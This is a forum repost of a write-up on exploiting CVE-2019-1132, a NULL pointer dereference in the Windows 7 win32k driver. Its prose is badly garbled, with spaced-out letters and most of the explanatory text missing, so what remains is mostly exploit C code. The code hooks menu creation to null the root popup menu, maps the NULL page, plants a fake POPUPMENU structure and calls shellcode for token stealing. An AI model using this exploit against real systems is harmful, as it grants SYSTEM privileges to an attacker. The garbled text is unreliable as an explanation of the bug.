[28609] 2020-09-27_利用CVE–2019-1132:Windows内核中的另一个NULL指针取消引用

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2020-09-27_利用CVE–2019-1132:Windows内核中的另一个NULL指针取消引用 C V E 2 0 1 9 - 1 1 3 2 W i n d o w s N U L L S H I V A M   T R I V E D I   O t s   2 0 2 0 - 0 9 - 2 7 N U L L 使 C V E - 2 0 1 9 - 1 1 3 2 B u h t r a p N U L L w i n 3 2 k . s y s W i n d o w s   7 W i n d o w s   S e r v e r   2 0 0 8 E o P M i c r o s o f t 7 E S E T 使 J u n e W i n d o w s   7   x 8 6 w i n 3 2 k x x x M N O p e n H i e r a r c h y t a g P O P U P M E N U - >   p p o p u p m e n u R o o t N U L L 访 N U L L N U L L N U L L N U L L E o P p p o p u p m e n u R o o t N U L L p o p u p m e n u r o o t   p o p u p m e n u w i n 3 2 k x x x M N O p e n H i e r a r c h y p p o p u p m e n u R o o t N U L L w i n 3 2 k H M A s s i g n m e n t L o c k 访 N U L L B S o D 使 E S E T 3 W H _ C A L L W N D P R O C E V E N T _ S Y S T E M _ M E N U P O P U P S T A R T 使 T r a c k P o p u p M e n u E x T r a c k P o p u p M e n u E x W I N 3 2 K x x x T r a c k P o p u p M e n u E x E V E N T _ S Y S T E M _ M E N U P O P U P S T A R T / *   C r e a t i n g   t h e   m e n u   * /   f o r   ( i n t   i   =   0 ;   i   & l t ;   3 ;   i + + )   h M e n u L i s t [ i ]   =   C r e a t e M e n u ( ) ;   / *   A p p e n d i n g   t h e   m e n u s   a l o n g   w i t h   t h e   i t e m   * /   f o r   ( i n t   i   =   0 ;   i   & l t ;   3 ;   i + + )   {   A p p e n d M e n u A ( h M e n u L i s t [ i ] ,   M F _ P O P U P   |   M F _ M O U S E S E L E C T ,   ( U I N T _ P T R ) h M e n u L i s t [ i   +   1 ] ,   " i t e m " ) ;   }   A p p e n d M e n u A ( h M e n u L i s t [ 2 ] ,   M F _ P O P U P   |   M F _ M O U S E S E L E C T ,   ( U I N T _ P T R ) 0 ,   " i t e m " ) ;   / *   C r e a t i n g   a   m a i n   w i n d o w   c l a s s   * /   x x R e g i s t e r W i n d o w C l a s s W ( L " W N D C L A S S M A I N " ,   0 x 0 0 0 ,   D e f W i n d o w P r o c ) ;   h W i n d o w M a i n   =   x x C r e a t e W i n d o w E x W ( L " W N D C L A S S M A I N " ,   W S _ E X _ L A Y E R E D   |   W S _ E X _ T O O L W I N D O W   |   W S _ E X _ T O P M O S T ,   W S _ V I S I B L E ,   G e t M o d u l e H a n d l e A ( N U L L ) ) ;   p r i n t f ( " H a n d l e   o f   t h e   m a i n W i n d o w   :   0 x % 0 8 X n " ,   ( u n s i g n e d   i n t ) h W i n d o w M a i n ) ;   S h o w W i n d o w ( h W i n d o w M a i n ,   S W _ S H O W N O A C T I V A T E ) ; / *   H o o k i n g   t h e   W H _ C A L L W N D P R O C   f u n c t i o n   * /   S e t W i n d o w s H o o k E x W ( W H _ C A L L W N D P R O C ,   x x W i n d o w H o o k P r o c ,   G e t M o d u l e H a n d l e A ( N U L L ) ,   G e t C u r r e n t T h r e a d I d ( ) ) ;   / *   H o o k i n g   t h e   t r a c k p o p u p m e n u E x   W I N A P I   c a l l   * /   H W I N E V E N T H O O K   h E v e n t H o o k   =   S e t W i n E v e n t H o o k ( E V E N T _ S Y S T E M _ M E N U P O P U P S T A R T ,   E V E N T _ S Y S T E M _ M E N U P O P U P S T A R T ,   G e t M o d u l e H a n d l e A ( N U L L ) ,   x x W i n d o w E v e n t P r o c ,   G e t C u r r e n t P r o c e s s I d ( ) ,   G e t C u r r e n t T h r e a d I d ( ) ,   0 ) ; / *   S e t t i n g   t h e   r o o t   p o p u p   m e n u   t o   n u l l   * / p r i n t f ( " S e t t i n g   t h e   r o o t   p o p u p   m e n u   t o   n u l l n " ) ; r e l e a s e   =   0 ;
x x W i n d o w E v e n t P r o c M N _ O P E N H I E R A R C H Y w i n 3 2 k x x x M N O p e n H i e r a r c h y w i n 3 2 k x x x M N O p e n H i e r a r c h y w i n 3 2 k x x x C r e a t e W i n d o w E x p o p u p m e n u w i n 3 2 k x x x C r e a t e W i n d o w E x   W M _ N C C R E A T E W H _ C A L L W N D P R O C x x W i n d o w H o o k P r o c x x W i n d o w H o o k P r o c r o o t p o p u p N U L L W M _ N C C R E A T E W M _ C A N C E L M E N U S p o p u p m e n u w i n 3 2 k x x x M N C a n c e l p o p u p m e n u   f D e s t r o y e d w i n 3 2 k x x x M N C l o s e H i e r a r c h y p o p u p m e n u   w i n 3 2 k x x x M N C l o s e H i e r a r c h y f D e s t r o y e d p o p u p m e n u t a g P O P U P M E N U - >   p p o p u p m e n u R o o t N U L L T r a c k P o p u p M e n u E x ( h M e n u L i s t [ 0 ] ,   0 ,   0 ,   0 ,   h W i n d o w M a i n ,   N U L L ) ; s t a t i c V O I D C A L L B A C K x x W i n d o w E v e n t P r o c (     H W I N E V E N T H O O K   h W i n E v e n t H o o k ,     D W O R D                   e v e n t ,     H W N D                     h w n d ,     L O N G                     i d O b j e c t ,     L O N G                     i d C h i l d ,     D W O R D                   i d E v e n t T h r e a d ,     D W O R D                   d w m s E v e n t T i m e ) {     U N R E F E R E N C E D _ P A R A M E T E R ( h W i n E v e n t H o o k ) ;     U N R E F E R E N C E D _ P A R A M E T E R ( e v e n t ) ;     U N R E F E R E N C E D _ P A R A M E T E R ( i d O b j e c t ) ;     U N R E F E R E N C E D _ P A R A M E T E R ( i d C h i l d ) ;     U N R E F E R E N C E D _ P A R A M E T E R ( i d E v e n t T h r e a d ) ;     U N R E F E R E N C E D _ P A R A M E T E R ( d w m s E v e n t T i m e ) ;       b E n t e r E v e n t   =   T R U E ;     i f   ( i C o u n t   & l t ;   A R R A Y S I Z E ( h w n d M e n u L i s t ) )     {         h w n d M e n u L i s t [ i C o u n t ]   =   h w n d ;         i C o u n t + + ;     }     S e n d M e s s a g e W ( h w n d ,   M N _ S E L E C T I T E M ,   0 ,   0 ) ;     S e n d M e s s a g e W ( h w n d ,   M N _ S E L E C T F I R S T V A L I D I T E M ,   0 ,   0 ) ;     P o s t M e s s a g e W ( h w n d ,   M N _ O P E N H I E R A R C H Y ,   0 ,   0 ) ; } s t a t i c L R E S U L T C A L L B A C K x x W i n d o w H o o k P r o c ( I N T   c o d e ,   W P A R A M   w P a r a m ,   L P A R A M   l P a r a m ) {     t a g C W P S T R U C T   * c w p   =   ( t a g C W P S T R U C T   * ) l P a r a m ;       i f   ( c w p - & g t ; m e s s a g e   = =   W M _ N C C R E A T E   & a m p ; & a m p ;   b E n t e r E v e n t   & a m p ; & a m p ;   h w n d M e n u L i s t [ r e l e a s e ]   & a m p ; & a m p ;   ! h w n d M e n u L i s t [ r e l e a s e + 1 ] )     {         p r i n t f ( " S e n d i n g   t h e   M N _ C A N C E L M E N U S   m e s s a g e n " ) ;         S e n d M e s s a g e ( h w n d M e n u L i s t [ r e l e a s e ] ,   M N _ C A N C E L M E N U S ,   0 ,   0 ) ;         b E n t e r E v e n t   =   F A L S E ;     }     r e t u r n   C a l l N e x t H o o k E x ( 0 ,   c o d e ,   w P a r a m ,   l P a r a m ) ; }
p p o p u p m e n u N U L L p p o p u p m e n u R o o t N U L L N U L L 访 M N _ B U T T O N D O W N 使 E S E T M N _ B U T T O N D O W N w i n 3 2 k x x x M N O p e n H i e r a r c h y T r a c k P o p u p M e n u E x w i n 3 2 k x x x M N O p e n H i e r a r c h y 使 T r a c k P o p u p M e n u E x w i n 3 2 k x x x M N O p e n H i e r a r c h y 访 N U L L 访 N U L L 访 0 x 0 0 0 0 0 0 1 c t a g W N D w i n 3 2 k H M A s s i g n m e n t L o c k E S E T w i n 3 2 k H M D e s t r o y e d U n l o c k e d O b j e c t b S e r v e r S i d e W i n d o w P r o c 使 C l o c k O b j b S e r v e r S i d e W i n d o w P r o c / *   C r e a t i n g   t h e   h u n t   w i n d o w   c l a s s   * /     x x R e g i s t e r W i n d o w C l a s s W ( L " W N D C L A S S H U N T " ,   0 x 0 0 0 ,   x x M a i n W i n d o w P r o c ) ;     h W i n d o w H u n t   =   x x C r e a t e W i n d o w E x W ( L " W N D C L A S S H U N T " ,         W S _ E X _ L E F T ,         W S _ O V E R L A P P E D W I N D O W ,         G e t M o d u l e H a n d l e A ( N U L L ) ) ;
使 N t A l l o c a t e V i r t u a l M e m o r y N U L L 使 H M V a l i d a t e H a n d l e t a g W N D N U L L p o p u p m e n u b S e r v e r S i d e W i n d o w P r o c p o p u p m e n u s p w n d A c t i v e P o p u p s p w n d A c t i v e P o p u p t a g W N D   +   0 x 1 2 c l o c k O b j [ e a x   +   4 ] b S e r v e r S i d e W i n d o w P r o c t a g W N D   1 8   e a x   +   4 t a g W N D +   0 x 1 6 访 N U L L b S e r v e r S i d e W i n d o w P r o c b S e r v e r S i d e W i n d o w P r o c b S e r v e r S i d e W i n d o w P r o c 1 x x M a i n W i n d o w P r o c c s c s 0 x 1 b s h e l l c o d e     p r i n t f ( " H a n d l e   o f   t h e   h u n t W i n d o w   :   0 x % 0 8 X n " ,   ( u n s i g n e d   i n t ) h W i n d o w H u n t ) ; / *   A l l o c a t i n g   t h e   m e m o r y   a t   N U L L   p a g e   * /     * ( F A R P R O C   * ) & a m p ; N t A l l o c a t e V i r t u a l M e m o r y   =   G e t P r o c A d d r e s s ( G e t M o d u l e H a n d l e W ( L " n t d l l " ) ,   " N t A l l o c a t e V i r t u a l M e m o r y " ) ;     i f   ( N t A l l o c a t e V i r t u a l M e m o r y   = =   N U L L )         r e t u r n   1 ;       i f   ( ! N T _ S U C C E S S ( N t A l l o c a t e V i r t u a l M e m o r y ( N t C u r r e n t P r o c e s s ( ) ,         & a m p ; M e m A d d r ,         0 ,         & a m p ; M e m S i z e ,         M E M _ C O M M I T   |   M E M _ R E S E R V E ,         P A G E _ R E A D W R I T E ) )   | |   M e m A d d r   ! =   N U L L )     {         p r i n t f ( " [ - ] M e m o r y   a l l o c   f a i l e d ! n " ) ;         r e t u r n   1 ;     }     Z e r o M e m o r y ( M e m A d d r ,   M e m S i z e ) ; / *   G e t t i n g   t h e   t a g W N D   o f   t h e   h W i n d o w H u n t   * /     P T H R D E S K H E A D   h e a d   =   ( P T H R D E S K H E A D ) x x H M V a l i d a t e H a n d l e ( h W i n d o w H u n t ) ;     p r i n t f ( " A d d r e s s   o f   t h e   w i n 3 2 k ! t a g W N D   o f   h W i n d o w H u n t   :   0 x % 0 8 X n " ,   ( u n s i g n e d   i n t ) h e a d - & g t ; d e s k h e a d . p S e l f ) ; / *   C r e a t i n g   a   f a k e   P O P U P M E N U   s t r u c t u r e   * /     D W O R D   d w P o p u p F a k e [ 0 x 1 0 0 ]   =   {   0   } ;     d w P o p u p F a k e [ 0 x 0 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; f l a g s     d w P o p u p F a k e [ 0 x 1 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p w n d N o t i f y     d w P o p u p F a k e [ 0 x 2 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p w n d P o p u p M e n u     d w P o p u p F a k e [ 0 x 3 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p w n d N e x t P o p u p     d w P o p u p F a k e [ 0 x 4 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p w n d P r e v P o p u p     d w P o p u p F a k e [ 0 x 5 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p m e n u     d w P o p u p F a k e [ 0 x 6 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; s p m e n u A l t e r n a t e     d w P o p u p F a k e [ 0 x 7 ]   =   ( U L O N G ) h e a d - & g t ; d e s k h e a d . p S e l f   +   0 x 1 2 ;     / / - & g t ; s p w n d A c t i v e P o p u p     d w P o p u p F a k e [ 0 x 8 ]   =   ( D W O R D ) 0 x 1 ;     / / - & g t ; p p o p u p m e n u R o o t     d w P o p u p F a k e [ 0 x 9 ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; p p m D e l a y e d F r e e     d w P o p u p F a k e [ 0 x A ]   =   ( D W O R D ) 0 x 1 ;     / / - & g t ; p o s S e l e c t e d I t e m     d w P o p u p F a k e [ 0 x B ]   =   ( D W O R D ) 0 x 1 ;   / / - & g t ; p o s D r o p p e d     d w P o p u p F a k e [ 0 x C ]   =   ( D W O R D ) 0 ;   / *   C o p y i n g   i t   t o   t h e   N U L L   p a g e   * /     R t l C o p y M e m o r y ( M e m A d d r ,   d w P o p u p F a k e ,   0 x 1 0 0 0 ) ;
S h e l l c o d e N T / W i n d o w s   7   x 8 6 J u n e G i t H u b 访 W i n d o w s   K e r n e l   E x p l o i t a t i o n 便 C V E - 2 0 1 7 - 0 2 6 3 W i n d o w s W I N D O W S W I N D O W S     W I N 3 2 K   N D A Y 退 C H R O M E L R E S U L T W I N A P I x x M a i n W i n d o w P r o c (     _ I n _   H W N D       h w n d ,     _ I n _   U I N T       m s g ,     _ I n _   W P A R A M   w P a r a m ,     _ I n _   L P A R A M   l P a r a m ) {     i f   ( m s g   = =   0 x 1 2 3 4 )     {         W O R D   u m   =   0 ;         _ _ a s m         {             / /   G r a b   t h e   v a l u e   o f   t h e   C S   r e g i s t e r   a n d             / /   s a v e   i t   i n t o   t h e   v a r i a b l e   U M .             / / i n t   3             m o v   a x ,   c s             m o v   u m ,   a x         }         / /   I f   U M   i s   0 x 1 B ,   t h i s   f u n c t i o n   i s   e x e c u t i n g   i n   u s e r m o d e         / /   c o d e   a n d   s o m e t h i n g   w e n t   w r o n g .   T h e r e f o r e   o u t p u t   a   m e s s a g e   t h a t         / /   t h e   e x p l o i t   d i d n ' t   s u c c e e d   a n d   b a i l .         i f   ( u m   = =   0 x 1 b )         {             / /   U S E R   M O D E             p r i n t f ( " [ ! ]   E x p l o i t   d i d n ' t   s u c c e e d ,   e n t e r e d   s p r a y C a l l b a c k   w i t h   u s e r   m o d e   p r i v i l e g e s . r n " ) ;             E x i t P r o c e s s ( - 1 ) ;   / /   B a i l   a s   i f   t h i s   c o d e   i s   h i t   e i t h e r   t h e   t a r g e t   i s n ' t                                 / /   v u l n e r a b l e   o r   s o m e t h i n g   i s   w r o n g   w i t h   t h e   e x p l o i t .         }         e l s e         {             s u c c e s s   =   T R U E ;   / /   S e t   t h e   s u c c e s s   f l a g   t o   i n d i c a t e   t h e   s p r a y C a l l b a c k ( )                             / /   w i n d o w   p r o c e d u r e   i s   r u n n i n g   a s   S Y S T E M .             S h e l l c o d e ( ) ;   / /   C a l l   t h e   S h e l l c o d e ( )   f u n c t i o n   t o   p e r f o r m   t h e   t o k e n   s t e a l i n g   a n d                           / /   t o   r e m o v e   t h e   J o b   o b j e c t   o n   t h e   C h r o m e   r e n d e r e r   p r o c e s s .         }     }     r e t u r n   D e f W i n d o w P r o c W ( h w n d ,   m s g ,   w P a r a m ,   l P a r a m ) ; }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则